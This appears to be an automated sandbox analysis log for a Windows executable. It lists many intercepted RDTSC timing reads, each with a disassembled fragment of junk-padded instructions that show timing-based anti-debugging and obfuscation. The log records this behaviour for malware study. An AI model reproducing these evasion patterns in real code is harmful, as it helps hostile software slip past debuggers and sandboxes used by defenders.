Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C029 second address: A4C034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE5C0825166h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4CAC5 second address: A4CAC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F2F9 second address: A4F312 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F312 second address: A4F316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03F99 second address: A03FB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE5C0825172h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52D10 second address: A52D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52D14 second address: A52D19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54E61 second address: A54E7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825227h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54E7C second address: A54F07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE5C0825173h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007FE5C082516Bh 0x00000014 jc 00007FE5C0825168h 0x0000001a popad 0x0000001b nop 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007FE5C0825168h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 0000001Bh 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 push 00000000h 0x00000038 movzx ebx, di 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 call 00007FE5C0825168h 0x00000045 pop edi 0x00000046 mov dword ptr [esp+04h], edi 0x0000004a add dword ptr [esp+04h], 0000001Dh 0x00000052 inc edi 0x00000053 push edi 0x00000054 ret 0x00000055 pop edi 0x00000056 ret 0x00000057 xchg eax, esi 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b jl 00007FE5C0825166h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F4F3 second address: A4F4F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54F07 second address: A54F11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54F11 second address: A54F1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52E6B second address: A52F56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825173h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jg 00007FE5C0825179h 0x00000010 nop 0x00000011 jmp 00007FE5C0825173h 0x00000016 push dword ptr fs:[00000000h] 0x0000001d push 00000000h 0x0000001f push esi 0x00000020 call 00007FE5C0825168h 0x00000025 pop esi 0x00000026 mov dword ptr [esp+04h], esi 0x0000002a add dword ptr [esp+04h], 0000001Dh 0x00000032 inc esi 0x00000033 push esi 0x00000034 ret 0x00000035 pop esi 0x00000036 ret 0x00000037 ja 00007FE5C0825169h 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 jmp 00007FE5C0825179h 0x00000049 mov eax, dword ptr [ebp+122D1291h] 0x0000004f push 00000000h 0x00000051 push eax 0x00000052 call 00007FE5C0825168h 0x00000057 pop eax 0x00000058 mov dword ptr [esp+04h], eax 0x0000005c add dword ptr [esp+04h], 0000001Bh 0x00000064 inc eax 0x00000065 push eax 0x00000066 ret 0x00000067 pop eax 0x00000068 ret 0x00000069 mov ebx, esi 0x0000006b or ebx, dword ptr [ebp+122D37F7h] 0x00000071 push FFFFFFFFh 0x00000073 jmp 00007FE5C0825177h 0x00000078 nop 0x00000079 pushad 0x0000007a pushad 0x0000007b pushad 0x0000007c popad 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52F56 second address: A52F67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE5C082521Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52F67 second address: A52F6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5518B second address: A55199 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52F6B second address: A52F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55199 second address: A551A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56151 second address: A5615A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59EB9 second address: A59EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59EBD second address: A59EE6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE5C0825173h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007FE5C082516Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59EE6 second address: A59F2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FE5C0825216h 0x00000009 jl 00007FE5C0825216h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 mov bh, cl 0x00000015 push 00000000h 0x00000017 clc 0x00000018 push 00000000h 0x0000001a sub di, 23C2h 0x0000001f pushad 0x00000020 and ax, 5800h 0x00000025 call 00007FE5C0825228h 0x0000002a pushad 0x0000002b popad 0x0000002c pop edi 0x0000002d popad 0x0000002e push eax 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 push ecx 0x00000033 pop ecx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5AE3E second address: A5AE42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5AE42 second address: A5AE7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007FE5C0825228h 0x0000000e jmp 00007FE5C0825222h 0x00000013 nop 0x00000014 clc 0x00000015 push 00000000h 0x00000017 mov edi, dword ptr [ebp+122D2B81h] 0x0000001d push 00000000h 0x0000001f sub dword ptr [ebp+122D32AAh], eax 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b pop eax 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5AE7B second address: A5AE7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5AE7F second address: A5AE85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A0BF second address: A5A0C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A0C3 second address: A5A0C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A0C9 second address: A5A0D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A0D0 second address: A5A0DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A0DD second address: A5A0EF instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE5C0825166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FE5C0825166h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A0EF second address: A5A0F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5BF36 second address: A5BF3B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59197 second address: A59249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FE5C0825218h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 xor dword ptr [ebp+122D3ACCh], edx 0x00000029 mov dword ptr [ebp+1246E233h], ebx 0x0000002f push dword ptr fs:[00000000h] 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007FE5C0825218h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 00000018h 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 and bh, 00000051h 0x00000053 mov dword ptr fs:[00000000h], esp 0x0000005a add dword ptr [ebp+122D3B2Dh], edx 0x00000060 mov eax, dword ptr [ebp+122D0BBDh] 0x00000066 jmp 00007FE5C082521Eh 0x0000006b adc di, 4B47h 0x00000070 push FFFFFFFFh 0x00000072 call 00007FE5C0825229h 0x00000077 pop ebx 0x00000078 nop 0x00000079 push ecx 0x0000007a push eax 0x0000007b push edx 0x0000007c jmp 00007FE5C0825221h 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59249 second address: A59270 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FE5C0825172h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 js 00007FE5C0825166h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59270 second address: A59274 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5BFF5 second address: A5BFF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5BFF9 second address: A5BFFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B0B6 second address: A5B0BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5CEF1 second address: A5CF44 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov bx, 8000h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007FE5C0825218h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a mov ebx, dword ptr [ebp+122D2CA9h] 0x00000030 jmp 00007FE5C082521Ah 0x00000035 push 00000000h 0x00000037 pushad 0x00000038 pushad 0x00000039 mov eax, 792CCD99h 0x0000003e popad 0x0000003f movzx esi, cx 0x00000042 popad 0x00000043 xchg eax, esi 0x00000044 push ecx 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5CF44 second address: A5CF48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DFBD second address: A5DFC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DFC3 second address: A5DFC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DFC7 second address: A5DFD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DFD6 second address: A5DFDC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DFDC second address: A5DFEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5C082521Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5E0F7 second address: A5E188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 jns 00007FE5C0825166h 0x0000000f pop edi 0x00000010 pop edx 0x00000011 nop 0x00000012 push eax 0x00000013 movzx ebx, di 0x00000016 pop edi 0x00000017 push dword ptr fs:[00000000h] 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007FE5C0825168h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 0000001Ah 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 clc 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 mov eax, dword ptr [ebp+122D06E5h] 0x00000046 movsx edi, bx 0x00000049 push FFFFFFFFh 0x0000004b push 00000000h 0x0000004d push ebp 0x0000004e call 00007FE5C0825168h 0x00000053 pop ebp 0x00000054 mov dword ptr [esp+04h], ebp 0x00000058 add dword ptr [esp+04h], 0000001Ah 0x00000060 inc ebp 0x00000061 push ebp 0x00000062 ret 0x00000063 pop ebp 0x00000064 ret 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a jmp 00007FE5C0825177h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5E188 second address: A5E18E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A601B0 second address: A601DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082516Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE5C0825176h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A601DA second address: A601DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67C0E second address: A67C14 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02607 second address: A0260D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6783C second address: A67840 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70B26 second address: A70B2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70B2A second address: A70B42 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE5C0825166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FE5C0825166h 0x00000012 jnp 00007FE5C0825166h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70B42 second address: A70B70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082521Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007FE5C0825225h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70B70 second address: A70B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A712B4 second address: A712B9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A712B9 second address: A712C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A712C7 second address: A712DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FE5C0825216h 0x0000000a push esi 0x0000000b pop esi 0x0000000c jc 00007FE5C0825216h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A712DA second address: A712DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71B12 second address: A71B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71B16 second address: A71B3B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE5C082516Bh 0x0000000c jmp 00007FE5C0825172h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71B3B second address: A71B45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FE5C0825216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71B45 second address: A71B49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7756B second address: A77587 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5C0825228h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77587 second address: A775D9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE5C0825166h 0x00000008 jmp 00007FE5C0825179h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007FE5C0825174h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FE5C0825170h 0x0000001e jo 00007FE5C0825166h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76471 second address: A76485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FE5C082521Fh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A768B6 second address: A768C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082516Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76FD4 second address: A76FDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76FDE second address: A76FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76FE2 second address: A76FEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A75D69 second address: A75D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A75D6E second address: A75D7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FE5C0825216h 0x0000000a jl 00007FE5C0825216h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00AD7 second address: A00ADB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80AA7 second address: A80AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5C0825224h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80AC1 second address: A80AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F7F9 second address: A7F819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE5C0825227h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F819 second address: A7F82C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082516Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F82C second address: A7F836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE5C0825216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F836 second address: A7F840 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE5C0825166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F840 second address: A7F846 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F846 second address: A7F855 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007FE5C0825166h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F994 second address: A7F9A0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F9A0 second address: A7F9BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825172h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
